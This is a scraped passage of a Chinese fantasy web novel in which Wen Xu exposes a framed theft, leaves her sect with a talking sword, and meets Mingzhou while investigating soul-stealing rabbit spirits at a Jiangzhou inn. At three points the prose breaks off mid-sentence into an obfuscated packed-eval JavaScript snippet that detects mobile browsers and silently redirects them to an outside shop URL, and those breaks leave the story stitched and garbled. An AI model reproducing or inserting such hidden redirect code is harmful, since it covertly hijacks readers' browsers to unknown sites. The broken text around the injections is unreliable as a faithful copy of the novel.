她还没有学过什么法诀,现在空有一身力气,她现在感觉自己像一个大力水手。 房内呆着无聊,她起床洗了把脸出门,阳光照在她的脸上,暖暖的很舒服。 闻絮休息了几天,身体上的伤口逐渐恢复,她去厨房找了些吃食,吃到一半的时候,有人到了闻絮的房间。 有弟子来传话,掌门今日要训话,所有弟子都要去大殿集合。 闻絮点了点头表示知道了,咽下嘴里最后一口食物,闻絮跟着来的弟子一起走了。 闻絮到的时候,其他弟子已经陆续到了。他们看着闻絮指指点点。 “你看,她就是闻絮,听说了吗?就是她拔出了寒光剑。” “她?这么瘦弱怎么拔剑?你是不是认错了。” “不会,就是她,但是我听说她之前就是个窝囊废,连修炼都很困难呢!” 闻絮抬眼看了看说话的两人,二人一直挡在她前面,闻絮没多废话,抬手就是一掌,两人没稳住身体,一屁股摔倒在地上。 一瞬间室内熙攘的众人安静下来,也无人敢去搀扶两人,他们也知道,现在闻絮是季空山眼前的红人。 季空山看到了,但没有说话,马上就要被赶走的人,何必计较? 他看到闻絮站定,清了清嗓子,“今天叫你们来,是有一件事,山中最近丢了一件宝物,如果谁可以承认,归还宝物,我就既往不咎,如果死性不改,即刻赶下山去,不再是我玉清山的弟子。” 闻絮直直看着季空山,没有说话。 季空山的话没有得到回应,还有不知情的弟子在互相问山中丢了什么宝物。 “闻絮,你觉得呢?” 闻絮被点名,身边的人察觉气氛不对,自动离闻絮远一点,让闻絮独自一人站在中心。 闻絮一脸懵懂,“师父,怎么了?” 季空山大手一拍桌子,一副生气的模样,“事到如今了,你还要装不知情吗?师父看错你了,不要再叫我师父!” “掌门你这是什么意思?” “最近只有你来过我的书房,你走后东西就丢了,不是你拿的是谁?” “掌门这是不相信我吗?你就是这样随口污蔑弟子吗?你配为人师长吗?” “闻絮,你出口桀骜,不敬师长,非要我从你身上拿出证据吗?” “好,我等着看。” 季空山抬手施法,顷刻间闻絮的衣袖飘摇,她的衣物中飞出一颗莹白的夜明珠。 “闻絮,你太令我失望了,你说你没有拿,那你衣服里的夜明珠是哪里来的?你这个孽徒,立马给我滚下山去,我玉清山没有你这样的弟子!” 季空山色厉声俱,说得煞有介事的样子。 一旁的弟子伸手想要抓闻絮,被闻絮轻易躲开,闻絮又借力还了对方一脚。 一时之间没有人敢上去动闻絮。 季空山更加恼怒了,这群废物在干什么?不过是赶走一个窝囊废的弟子,一个两个都愣在原地。 “你们在等什么!难道这样的小事也要我亲自来吗?你们每天都是吃白饭的吗!” “这么长时间了,掌门还真是瞎了眼了。” 闻絮冷笑一声,飞身上去一把抓住了珠子,然后用力摔了下去。 清脆一声传来,夜明珠被闻絮摔了个粉碎。 “掌门是不是操之过急了,连假的夜明珠都不认识了吗?这不过是一个普通的珠子,掌门认不出来吗?” 闻絮停顿了一秒钟,“或者说,掌门根本不想认出来,只是想借这个理由把我赶走。” 人群中的季明月看到夜明珠的一瞬间脸色大变,她想悄悄离开人群中,正准备溜出去的时候被闻絮大声喊住。 “季明月,不许走。” 闻絮大步走过去拉住季明月的手腕,从她随身带着得锦囊里掏出真正的夜明珠。 真正的夜明珠白日里也是带着一层淡淡的荧光,和闻絮手里那个假的一看就不一样。 季明月大喊冤枉,“师父,我是冤枉的,这是闻絮送给我的!她一定是对我怀恨在心,故意冤枉我的。” “我冤枉你?我对你怀恨在心,我送你的东西你也敢收吗?师姐,你敢发天地誓言吗?你敢发誓这是我送你的吗?” 一旁的弟子看戏看得也起劲,“二师姐,既然闻絮是冤枉你的,你就发个天地誓言给她看看,也给这个废物见见世面。” 季明月此刻有些支支吾吾,不敢答应,这夜明珠是前几日她趁闻絮晚上睡觉的时候偷偷拿的,确实不是闻絮送给她的。 谁让闻絮在她面前显摆来着?她以前拿闻絮的东西拿顺手了,这次也是顺手就拿了,没有想这么多。 她可不敢发天地誓言,天地誓言如果造假,即刻就会遭到报应,七窍流血而死。 季明月眼睛一转,挺直了胸膛,假装硬气地说道:“我凭什么听你的,你让我发誓我就发誓吗?你敢发誓吗?” 闻絮看着季明月的眼睛,她的身高不及季明月,但现在她的气势已经压倒了季明月。 “敢啊,师姐,我们一起发誓怎么样?看看先死的那个是谁?你敢吗,师姐?” “你你你,你无理取闹!”季明月被吓得有些结巴。 “都给我住嘴!”季空山站了起来,从堂上走了下来。 他盯着闻絮看了一眼,又盯着季明月看了一圈,但眼神明显柔和很多。 “明月,你不要着急啊,师父知道你肯定是不会做这样的事情的。” 季明月委屈地点了点头。 闻絮在一旁看着这场师徒情深的好戏,鼓了两声掌,“掌门和师姐还真是师徒情深呢,掌门这副道貌岸然的样子演得真是出神入化,掌门要是把这份心放在修炼上,寒光剑也不用尘封那么久了。” 季空山此刻反倒没有愤怒,对着闻絮笑了笑,“朽木不可雕也,我本想给最后的机会,但你不知悔改,攀咬师姐,污蔑掌门,出手伤人,这桩桩件件都违背门规,你即刻就走,非死不得归!” 所有弟子都自觉站在季空山和季明月这一边,闻絮一人孤零零站在对面。 闻絮拿出两块留影石,分别记录了季空山送她夜明珠时的影像和季明月偷偷溜入闻絮房内拿走夜明珠的画面。 留影石记录的画面很清晰,在场众人也看得一清二楚,顿时都无话可说。 闻絮接下来的话字字铿锵有力,让人无法反驳。 “你们两个一定睁大眼睛仔细看看,不然连自己的脸都不认识了,我帮你们回忆回忆。” “这玉清山我是一定要离开的,不过,不是你赶走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我就是寒光啊,你不是叫我跟你走吗?我跟你走了你就一直在这里睡觉吗?” 闻絮听到这话有些好奇,垂眸看了看一旁闪着光的寒光剑,来了兴趣,“你一把剑还会说话吗?” “你和我订了血契,就是我的朋友,自然能听到二我说话。” 闻絮戳了戳寒光的剑身,“为什么不是你的主人,而是你的朋友?” “我有过很多个主人,他们都已经不在了,我听到了你的心声,你不是说你亲朋皆无吗?那我来当你的朋友好啦!” 寒光的语调轻快,但这句话却让闻絮仔细回味了很久。 “我来当你的朋友。”这句话闻絮喃喃着又重复了几次。 有意思,自己的第一个朋友居然是一把剑。 “我不需要朋友,我也没什么志向,你跟着我大概是埋没了。” 寒光没有理会闻絮的后半句话,只是从闻絮的左边又绕到了右边,“怎么会有人不需要朋友呢?父母生来是不由人选择的,但朋友可以,朋友就是你为自己选择的,三百年了你是第一个拔出我的人,我们是双向选择的。” 闻絮的心脏有一些触动,但还是下意识的抵触,拥有过还是会失去,不如从来没拥有过。 闻絮沉默着一直没答话,寒光再次碰了碰她的身体,“你得对我负责,我已经是你的了,你不要再睡觉了,快起来,前面就是江州城,我要穿新衣服。” 闻絮看着寒光晃动的剑身,“你也讲究穿衣服吗?” 寒光的声音提到新衣服更加轻快了,“对啊,我都三百年没有新衣服了,你快起来,我们去城里逛逛!” 闻絮手撑着地站起来,轻轻说了一声好,拿起寒光走了出去。 5. 凤凰台1 “我就算进了城也没有钱给你买新衣服,你让我来也没什么意义。” 寒光的声音接着在闻絮脑中回响,“你有手有脚,挣钱肯定很容易啊,再说了你还有我,我可以帮你。” “嗯。”闻絮默默应了一声,没有再说话。 她走得慢悠悠的,腰间挎着寒光,一步一步向江州城走去。 “我问你,你前两日不是一直不服输,不想死吗?受了蛊虫入体的痛也撑着活下来,为什么你离开了玉清山反而不想活了?” 闻絮发出一声嗤笑,“谁告诉你我不想活了?” “你在那破庙里睡了三日了,要不是我叫醒你,你就要饿死在那里了。” 闻絮嘘叹,原来已经过了三天了。 “我只是不想死在他们手里,他们要我死,我偏偏不如他们所愿,至于我自己,我想活的话,我自然有办法活。” 这句话一出,闻絮腰间的剑发出蓝光,开始晃动,表示自己的不满。 “你不许这样自暴自弃,你还带着我呢,你走快点,还没进城你一会儿就被渴死了。” “你好吵,让我安静一会儿。” 闻絮拍了拍寒光的剑鞘,确实它的剑鞘已经有些破旧了。 自己拔了剑,就对这剑负责吧,给它做一个新的剑鞘好了。 太阳逐渐升入高空,日头也越来越毒,闻絮的身体却一直保持一股凉感。 她体内寒光的剑气环绕着她周身,所以她也感受不到热。 正午时分,闻絮迈入了江州城内。 正是吃饭的时间,江州城内街道上堆满了卖吃食的小贩,路边的酒楼里也传来饭菜的香味。 闻絮没有给这些东西多余的眼神,她径直走到角落的一家铁匠铺,“师傅,我想给我的剑重新做一把剑鞘,需要多久?” “小姑娘,最近的生意比较忙,最快也得后天中午才能做好。” 闻絮点了点头,自己没什么事,在城中住两天就是。 闻絮把寒光递给铁匠量尺寸,铁匠拿着寒光爱不释手,“姑娘,你这把剑好啊,我平生见过许多剑,唯独这把剑身锋利,摸着还带着寒气,是个不多见的宝物啊!” “谢谢。” 闻絮从随身带着的锦囊里掏出钱递给铁匠,并约定两日后的这个时刻来取剑鞘。 寒光看着闻絮的锦囊,疑惑地问:“你不是说没有钱吗?这是哪来的?” “玉清山库房拿的。” 寒光:“好啊,你骗我,还是朋友吗?” “我想骗就骗。” 闻絮离开铁匠铺又来到一个首饰摊前,寒光以为她是要给自己买首饰,女孩子爱美也正常。 但闻絮没有拿那些首饰,拿了一个黄色的剑穗,“老板,我要这个。” 闻絮解开剑上旧的剑穗,为寒光系上新的剑穗。 “这个就当我送你的礼物,骗了你替你赔罪。” “哼,我勉强收下了。”寒光娇气地哼了一声,收下了这份礼物。 闻絮在街上观望了一圈,江州虽然热闹,但客栈却不多,只有两家。 一家叫凤凰台,外表看起来就富丽堂皇,一看就价值不菲。 另一家叫青丝垂,名字也不像客栈,但是也算中规中矩,八层高楼拔地而起,红木的结构平添了几分威严。 而且有意思的是,两家客栈就开在正对面。 闻絮左右看了看,抬脚走进了凤凰台,进去就预定了两天的房间。 凤凰台,它的房费确实配得上它的名字,两天的房费一交,闻絮锦囊里的银票就所剩无几了。 等到闻絮进了房间,寒光才忍不住说话,“你发财了吗?怎么住这么贵的房间?你以后是要把自己饿死吗?” 闻絮坐下给自己倒了一杯水,喝了一杯不解渴又接着倒了一杯,直到半壶水都进了她嘴里,她才觉得干渴的感觉消失,嗓子沙哑的感觉也消失了。 “没有发财,我饿死了你就重新找个主人,记得找个比我厉害的。” “我呸呸呸,你又说死。” 闻絮拿出之前塞耳朵的锦团,一边一个塞进了耳朵里,“我累了,要睡觉,你不许说话了。” 寒光看着刚刚睡了三天的闻絮又闭上了眼睛,默默叹气,年轻人,能睡是福,睡就睡吧。 寒光沉寂了多年才重新启动,剑灵也是需要休息的,“我也大睡三日,你也不许和我说话。” “哦。”闻絮答应了一声,寒光没有再回话。 闻絮闭上眼睛,又进入了梦乡,她不累,只是不知道该做什么。 睡觉看起来是最简单的选择。 …… 三个时辰后,屋内窗户被风吹开,细细密密的雨丝从窗户飘进来。 路上的灰尘被雨水冲洗干净,街边的摊贩已经都回家了,路上说不出的寂静。 闻絮倚在窗前,她的衣袖也被雨水打湿,这样的天气,她忽然想出去走走。 相比起人烟缭绕,这样寂静的时刻更让她心安,因为习惯,习惯是一个人短时间无法改变的,她最擅长的就是一个人呆着。 闻絮没有带寒光,出门前凤凰台的小二递给了闻絮一把油纸伞,“客官,雨天路滑,小心为好。” 闻絮撑着伞进入了雨中,雨其实下得不大,只是雨丝很密,像一颗颗连绵不绝的小珍珠串起来的帘子。 闻絮独自走了一圈,天色更晚了,她的衣服有些单薄,于是她转身回去。 路过一家药铺时,,闻絮在屋檐下看到了一个穿着蓝衣的男人,他无力地躺在那里,衣角已经被雨水打湿,像一条搁浅的鱼。 他的身形高大,是略偏瘦的体型,腰间配着的金丝熏球更显贵气十足。 闻絮上下打量着他的衣着配饰,看他不像是贫困之人,难道是发了急病躺在这里? 他双眼紧紧闭着,看不清具体长相。 闻絮不想多管闲事,看了几眼就继续向前走。 但霎时,城内几家的烛火一同熄灭,路上暗了下来,男人身边的琉璃灯火焰却不灭。 黑暗中点点灯火在男人身边铺陈开来,环绕着他周身。 如同暗夜中的萤火,全世界的光亮只在他身边停留。 闻絮下意识停下步子,看向光源,又看了看男人,最后还是走到了他身边。 她摸了摸男人的颈部,还有脉搏,还是活着的。 闻絮温凉的手指摸到男人的身体,他的体温很高,应该是在发着高热。 她的手指让男人感到舒服,男人迷蒙间睁开眼,天色太黑,他看不清闻絮的脸。 他的嘴角微微张开,呢喃地说着什么,闻絮听不清楚,拿起琉璃灯照在他面前,想要看清他的嘴型。 男人的面容也在此刻显现,一双带笑的丹凤眼,棕黑色的眸子,但眼神略显迷离,鼻子高挺,面色略白。 闻絮看着他的脸,想起了一句话,“灯下看美人”,眼前虽然不是美人,也算是美男了。 男人努力睁开眼睛看着闻絮的眼睛,她眼里情绪不多,像一汪深沉的大海。 他的睫毛在光影下显得更翘,扑闪了两下之后没了动静。 男人的身体支撑不住,再次晕了过去。 闻絮翻开他的衣襟,在他身上摸索半晌,找到了他的钱袋,然后抬手扣响了药铺的大门,大夫和小二出门迎接,二人合力把男人抬了进去。 看男人的样子,应该是还没来得及敲门就晕在了门前。 闻絮用男人钱袋里的钱付了药钱,剩余的钱她又放回了男人身上。 她没有多做停留,男人被安置好后她拿起门口的油纸伞出门,却被药铺的小二叫住,“姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416395|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你的夫婿还在这里,你要去哪里?” “你只管照顾好他就是。” 小二还想再说点什么,闻絮已经走了出去,没有听到他后面的话。 路上的行人寥寥无几,大多都行色匆匆,冷风袭来,闻絮也加快了步子。 走近凤凰台的时候,里面热闹非凡,灯火通明,歌舞声一声高过一声,经久不息。 在一层吃饭的客人互相交谈对饮,正中心的舞台上有十几名舞姬带着面纱,脚上带着金色的小铃铛,跳着魅惑的西域舞蹈。 铃铛随着脚腕的移动震动起来,发出清脆的声音,混杂着屋内的琴音,屋内气氛也逐渐热起来。 一曲舞毕,从楼顶飘下漫天的花瓣,台下掌声雷动,觥筹交错,楼内酒气味道也渐渐加重。 闻絮不喜欢这里的味道,问小二要了一点小菜和米饭就回了自己的房间。 闻絮住在三层拐角的一个房间,路过的人说话时能陆续听到几句。 大多都是一些男男女女的调笑声,闻絮有些后悔了,这大概不是什么正经的客栈。 她拿起之前自己做的耳塞,一个人在桌前扒拉着碗里的饭菜。 她其实不饿,应该是季空山的大补丹的作用,一次性吃了七颗,她这副身体的体质已经是有了质的飞跃。 她能感受到灵气在她的经脉中运行,只是自己暂时还没找到完全掌握的方法。 屋子里的书架上放着一些书,闻絮随意抽了一本游记看着,屋子里只能听到她窸窸窣窣的翻书声。 她看书很快,一会儿就看了一小半,正要继续看,门口传来了小二的敲门声。 “客官,这是我们店赠予客人的琼花酿,喝了有助于睡眠。” 闻絮道了谢,接了酒进来。 琼花酿的香气很足,让人闻之欲醉,闻絮也忍不住小酌了一口。 大概是这几日睡得时间太多,加上下午也睡足了,闻絮并不困。 但寒光好像累了,一直在休养,自她回来还没有说过一句话。 闻絮也不甚在意,拿起刚刚没看完的书回到床上躺着看。 说是游记,不如说是一本故事大杂烩。 闻絮手里得这本书讲的,更多的是关于江州城以前的故事。 书里写到,江州城以前是一个王朝的都城,极尽繁华,人马往来频繁,居住的人口也多。 帝王更迭,时代变迁,这里也逐渐不如往日繁华。 江州城的最后一个皇帝荒淫无道,不理政事,几乎所有的朝政大事都是由长公主来处理的。 长公主为国尽职尽责,日夜操劳,但还是抵不住国破的结局,公主也跳下城楼殉国。 这本书几乎翻到了头,闻絮看向没剩几页的末尾,又是一个令人唏嘘的结局。 这本书用词朴实,对于末代皇帝的嫉恨不加掩饰,对于长公主的歌颂却也直白。 写书人对于长公主用尽了美好之词,说她美丽,善良,聪慧,胆识过人。 闻絮猜想这大概是从前存活的百姓写的,这本书纸张不算陈旧,应该是又抄录的新版本。 闻絮接着看最后几页,上面不是文字了,而是手绘的图。 第一张是一个女子,头戴华贵的装饰,她正低头温柔抚摸着腿上的小兔子。 女子面容平静温和,这应该就是书里写的公主。 第二张还是公主的画像,她端坐在铜镜前,青丝垂下,手中的梳子正在发尾停着。 最后一张图不知为何被墨渍晕染,看不清图上的内容,只在最下角看到一个刻着凤凰的玉佩。 最后一页看完,屋子的窗户忽然又被风吹开,闻絮过去关窗,恰好看到对面的青丝垂。 明明是一家客栈,修得也算是美轮美奂,竟然一个客人都没有,没有一点灯火,处处透露着诡异。 6. 凤凰城2 闻絮敏锐地感知到,这江州城,这两家客栈,都透露着古怪。 此时门外的歌舞声又透过门缝丝丝传入耳中,大概是下午喝了一壶茶的缘故,现在她想出门去找地方方便。 一出门就碰到了一个小二,仿佛是刻意守在了闻絮房前,“客官,有什么需要吗?” “我要如厕,茅房在哪里?” “我带您去。” 茅房在酒楼的背面,与凤凰台表面的繁华不同,后院没有什么灯光,让人无形中感觉一阵凄凉。 小二为闻絮带路之后就离开了,闻絮左右观察了一通,隐约听到“咯吱咯吱”的响声。 这声音没有停顿的时候,一声停了又有一声盖过来。 闻絮顺着声音找过去,在一间锁着的房间门缝里看到了一屋子的兔子。 她平生从未见过这么多兔子,它们都挤在一个屋子里面,嘴里不知道在啃什么东西,发出这种像老鼠一样的声音。 闻絮感觉有些奇怪,一间客栈养这么多兔子干什么?难道这里的人爱吃兔肉吗? 闻絮思索着回头,却冷不丁被身后的小二吓了一跳。 恍惚间,她在小二的眼里看到了红色的光芒,但转瞬即逝,很快就消失了。 “客官怎么走到这里来了?”小二嘴上的话语很客气,但是脸上的笑容很是诡异,只是牵动了嘴角的肌肉,咧开一个笑容,脸上的皮肉却纹丝不动。 闻絮被他看得有些发毛,“闲来无事,随便走走。” 小二侧身,为闻絮让出一条路来,“时辰不早了,客官早些回房休息吧。” 闻絮路过小二的时候,又看了看他的眼睛,一切如常。 闻絮回到自己的房间,立刻将房门紧闭,又将凳子抵在了门口。 屋内的窗户没有关上,外面的灯火吸引了闻絮的注意。 凤凰台有人出来了,闻絮轻轻放下窗户,留出了一个小缝。 一个小二提着一个大笼子,笼子周身铺满了黑布盖着。 一阵风起,将黑布掀起一个角,闻絮扫到了兔子的耳朵。 这是一笼兔子。 小二仿佛感觉到有人在偷窥,警觉地回头看了一眼,闻絮一手撑着窗户,身体躲到一边,没有和他对视。 小二没看到闻絮,继续向前走,拿出一个玉佩,在青丝垂的大门的门洞里,走了进去。 青丝垂一共九层楼高,他进去后不久底下的六层一齐亮了起来。 与其说青丝垂是客栈,不如说是一个塔,下面宽,上面窄,像是一尊佛塔。 闻絮计算着他进去的时间,一炷香之后,第七层楼房间所有的灯都亮起来了。 灯虽然亮了,但是依然看不到里面的任何景象。 又过了一刻钟,小二从青丝垂走了出来,取下放在门洞里的玉佩,青丝垂整栋楼的灯光又熄灭了。 青丝垂又变成了往日清冷的模样,没有灯火,没有人气。 小二提着那一笼兔子去干什么了,他为什么独自一个人出来了,青丝垂的灯火为什么又灭了? 闻絮暂时没有看出来兔子有什么异常,又忽然想起来刚刚游记里的画像,那里面公主的腿上有一只兔子,这画像里的兔子和凤凰台的一屋子的兔子是不是有着关联? 闻絮本就不困,这下更加睡不着了,她把寒光抱在怀里,靠着窗户听着潇潇雨声拍打窗页的声音。 夜过了半晌,外面的雨声停了,闻絮打开房门,整座楼的灯火都熄灭了,寂静无声,没有了白日的丝竹歌声,只剩下一片清冷寂静。 她放轻脚步,缓缓下了楼,凤凰台一楼的门只是虚掩着,她一开门就可以看到对面的青丝垂。 夜色已经很深了,但头顶的月光依旧亮度不减,不偏不倚地照在了青丝垂的楼身上,仿佛为它穿上了一层月黄的薄纱。 闻絮看着几近圆圆的月亮,想起来还有两日就要到中秋了。 两栋楼之间离得不远,闻絮很快就走过去了。 青丝垂的大门紧闭着,闻絮伸手拉了拉房门,没有拉开,但房门外面并没有上锁。 她亲眼看着小二从青丝垂走出来,难道青丝垂里面是有人在的吗? 贸然用寒光开门可能会有危险,闻絮放弃了这个想法,还是等明天白日再来看看吧。 夜风吹来,闻絮感觉胳膊上毛毛的,她警惕地抬头一看,她的房间里此时有人在窗边看着她。 那是一双红色的眼睛,一眨不眨地正盯着她,像极了饿狼看着猎物的眼神,虎视眈眈。 闻絮看着露出的一点衣袖,认出就是刚刚那个小二,他不仅是看着闻絮,还在看着她身后的青丝垂。 他手里拿着闻絮掉落的发坠,摩梭了几下,扔在地上,又看了闻絮几秒,舔了舔嘴唇,一把掀开窗户,从三楼跳了下来。 这下她更确定了,这小二肯定不是人,难道是兔子精吗? 闻絮叫了几声寒光,寒光没醒,剑灵睡觉了她真不知道该怎么叫醒。 她学过几年武术,再加上这幅身体的灵力,应该是可以打得过这个小二。 闻絮刚刚撸起袖子,准备大干一场,突然从天而降好多胡萝卜。 小二被萝卜砸蒙了,抬头看时,一张金色的网从天而降,网住了小二,他才反应过来,又开始撕咬网面。 一个少年从天而降,一掌劈晕了小二,小二变回了原形,是一只白色的小兔子。 少年拿起网兜,把兔子拿在手里,看向闻絮,“姑娘,你没事吧?” 他说话时意气风发,月光映衬下他的眉眼十分温柔,声音清亮,直直地盯着闻絮。 闻絮借着月光看了看男人,是下午晕倒在药铺门口的男人,之前还是一副虚弱的样子,现在居然已经是满面红光,生气勃勃的样子了。 男人盯着闻絮的目光有些热烈,他看着闻絮的眼睛,黑暗中像是一湾闪着光的泉水。 闻絮点了点头,“我没事,多谢。” “姑娘,我们是不是见过?”少年盯着闻絮的眼睛,眉头微皱,在脑中搜寻关于眼前人的印象。 “你记错了,我们没见过。” 闻絮不准备和他多说话,转身就要走,又听到男人后面的话。 “萍水相逢,姑娘,我叫明舟,不知姑娘怎么称呼?” 闻絮的步子一瞬间停住,她有些不敢相信自己的耳朵,她再次盯着男人的眼睛,“你再说一次,你叫什么名字?” 男人迎着闻絮的目光,再次说道:“姑娘,我叫明舟,明天的明,扁舟的舟。” 闻絮忽然觉得有点心酸,自己提前拔了寒光剑,就是为了背离原书的剧情,而现在,自己居然无意中救了明舟,冥冥之中还是“闻絮”救了明舟。 难道原书的剧情真的无法改变吗? 她不禁想,那最后呢,寒光还是会回到他手中吗?自己作为闻絮,还是会为了明舟而死吗? 闻絮心中颤动,那既然这样,不如她现在杀了明舟怎么样,那这样后面也许就不会有麻烦了。 闻絮想得有些出神,没有回应明舟的话,明舟拿手在闻絮眼前晃了晃,“姑娘,你怎么了?” 闻絮从自己的思绪中回过神来,“没事,我就是看公子眼熟,想起了以前的故人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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城内几乎没有一处可以遮风挡雨的屋子,百姓的衣服也沾满污秽,满目皆是苍凉灰白的画面。 画面中唯一鲜亮的颜色是城楼上的红衣女子,她长发披散,衣襟散落,孤身一人站在那里。 皇宫被攻破,城楼上的公主血泪纵横,但眼神坚毅,在一片喧嚣声中纵身跳下了城楼。 明舟看完了所有,收回了手指,兔子也因此晕了过去。 江州城的传说由来已久,世上有言论说,江州城中藏着亡国公主私藏的巨额宝藏。 慕名而来的人数不胜数,据说只要住进凤凰台,入夜时分,有机缘的人可以见到公主亡魂派来的使者,完成公主给的任务,就可以知道宝藏的地址,这也是凤凰台的生意经久不衰的原因。 但世人来来往往,传说也流传了很久,却始终没有人能找到公主的宝藏。 反而江州城中出现了诡异的现象,许多人得不到机缘,离开凤凰台之后就性情大变,就又流传出了公主的诅咒这一说。 公主诅咒那些不诚心的人,诅咒会伴随他们的一生。 即便这样,巨额的宝藏依旧吸引着各地的人来到江州。 明舟向闻絮解释着他看到的画面和传闻,还说了他一路游历,前几日到达江州城,也住进了凤凰台,也是一样,他发现了其中的异常。 只是昨日进门之时,他未曾多加提防饮食,多喝了几杯琼花露,下午便觉得头晕眼花,他在意识消失之前从房间里跳了出来。 他一路跌跌撞撞扶着路边的房子走,最后有些支撑不住,晕倒过去。 7. 凤凰台3 幸亏被一家药铺的老板救下来,休息了几个时辰,已经没什么大碍了。 闻絮在一旁默默听着,又补充道:“我在房间里看到了一本游记,里面大多是写了关于末代公主的事迹,应该就是你看到的公主。” 明舟点了点头,他说起闻絮看到的客栈内的一屋子兔子,那不是真正的兔子,那只是兔子的躯壳,里面住着来往客人的灵魂。 明舟提到,凤凰台有些客人的脖子上会有咬痕,但因为楼内歌舞升平,人员来往众多,也就显得不是很稀奇。 但如果仔细看的话,那齿痕根本不是人的齿痕,而是兔子的齿痕。 当客人毫无防备地喝下琼花露,昏昏欲睡之时,兔子会爬上床,在他们的脖子上咬上一口,神不知鬼不觉间,兔子和人的灵魂就这样交换了。 动物是有灵性的,和人呆久了的兔子是会模仿人的动作和语气的,那些盗取了人的躯体的兔子,表面上看起来是和正常人一样的。 于是那些兔子用着被它们盗取的人的身份和名字,继续生活下去,只是躯体还在,但是灵魂已经替换,于是来自四方的人在途径江州城后,经常会性情大变,这也是明舟追查到此的缘故。 闻絮扫视了明舟周身一圈,没有看到他的武器,“明道友追查至此,身上都没有带武器吗?” 明舟不好意思地挠挠头,提起手中装着兔子的网兜,“这捕梦网就是我的武器,不过如今是用来抓兔子了。” 他正了正神色,“不过我还是希望有一日,我可以找到一把属于我自己的剑。” 提到剑,闻絮想起了寒光,她拿起寒光递到明舟面前,“道友看看我这把剑怎么样?” 闻絮虽然把剑递在了明舟面前,但仍然虚虚握着,没有放手,她在试探明舟。 她在想,如果明舟透露出了想抢夺的心思,寒光会不会帮自己杀了明舟。 明舟借着闻絮抬起的手看了看寒光,眼里是止不住的欣赏,“真是一把难得的剑,剑身凌厉,剑气十足。” 闻絮的动作在常人眼里看来是非常不礼貌的,是她提出来让明舟看看寒光,但是又没有完全放手,这动作是带有一丝傲气在的。 明舟也隐隐感觉到了闻絮的一丝别扭,但令他更奇怪的是,他今日第一次见闻絮就感到很亲切,就连她的动作也理所当然包容起来。 闻絮看着明舟自然的表情,反而自己不自然起来,放下手,“谢谢。” 她随口找了个话题,“明道友想好了吗?你要救那些被兔子夺舍了的人吗?” 明舟点点头,“要救,但不是现在,我怀疑它们有一个更大的阴谋,凤凰台对面的青丝垂,是它们用来献祭的场所。每当一个人被夺舍,他的灵魂被锁入青丝垂的房间中,对应的房间的灯光也会亮起。” “今晚已经亮到第六层了。越往上房间数量就越少,那青丝垂马上的灯火马上就要都亮起来了。如果都亮起来,会发生什么?” 明舟眸色暗淡,“灵魂献祭,那些被夺舍的人的魂魄都会消散,那位公主的魂魄应该会重现,这是很早以前的禁术了,献祭活人的灵魂来复活已死去的人。” “有成功的案例吗?” “有,但通过禁术被复活的人有违天道,因为在月光下重生,因此不能见日光,再加上业力累计,怨气加身,寿命也不会长久。” 明舟从网兜里兔子的身上拿出刻着凤凰的玉佩,这就是进入青丝垂的信物,今日已经过了进去的时机,明晚他要进去一探究竟。 他施了个法诀,做出一个一模一样的玉佩,放在兔子身上,又抹去兔子的记忆,他要把兔子放回去,不然会打草惊蛇。 他嘱咐闻絮,“闻絮,这里虽然比较破旧,但是还算安全,你就先呆在这里,我先回凤凰台。” 闻絮拉住明舟的胳膊,“我和你一起去。” 明舟想了一下,点头答应。 漆黑的夜色里,闻絮和明舟并排走着,明舟手里提着那只兔子。 在快走到凤凰台门口的时候,闻絮一把搂住了明舟的胳膊,这动作吓了明舟一跳,但是他没有马上正脱开闻絮。 “闻絮,你怎么了?” “我总觉得有人在看着我们,一会你假装是我的情郎,一起到我的房间。” 明舟点了点头,他面色不显,但耳朵的外缘一圈悄悄变红了。 在走近凤凰台的时候,闻絮扫了一眼,三楼她房间的窗户还是大开着,屋内没有灯,依旧漆黑一片。 闻絮一进门就放开了明舟的手,明舟也把藏在袖子里的兔子拿出来,兔子从门缝里溜出去,很快就看不到身影了。 闻絮环视了一圈屋内,屋内的东西基本没有变。 “天快亮了,你要是累了可以休息,我不困,我先守着。” 明舟摇了摇头,“好,等中午我们一起下去看看。” 明舟身体还没有完全恢复,半夜没睡,再加上奔波了这么长时间,确实有些累了,但是他没有上床,只是趴在桌子上很快睡着了。 闻絮也坐在一旁的凳子上,她看着明舟的睡颜,心里不禁承认,他这幅皮相生得不错。 没有事情可做,闻絮也觉得无聊,又从一旁的书架上拿了一本书,随手翻了几页。 书的内容比较无聊,她翻看了几页后也趴在了桌子上,她的脸对着明舟,她看着他睡着后轻轻颤动的睫毛,有些心烦意乱,于是背过脸去。 天色接近大亮的时候,闻絮的眼睛也闭上了,她枕着胳膊扭了扭头,没发现她的发丝和明舟的头发缠在了一起。 明舟醒来的时候想要起身,却被缠着的发丝阻止了动作,他看着闻絮的睡着的面庞,没有叫醒她,而是坐下来低着头自己解着头发。 明舟的动作很轻,但是闻絮刚刚入睡,睡眠很浅,即使是小小的动作,她也察觉到了动静。 她微微抬头,也察觉到了二人交缠的发丝,明舟向她道歉,“抱歉啊,吵醒你了。” 闻絮摆了摆手,表示没事,静静低头看着明舟解开二人的头发。 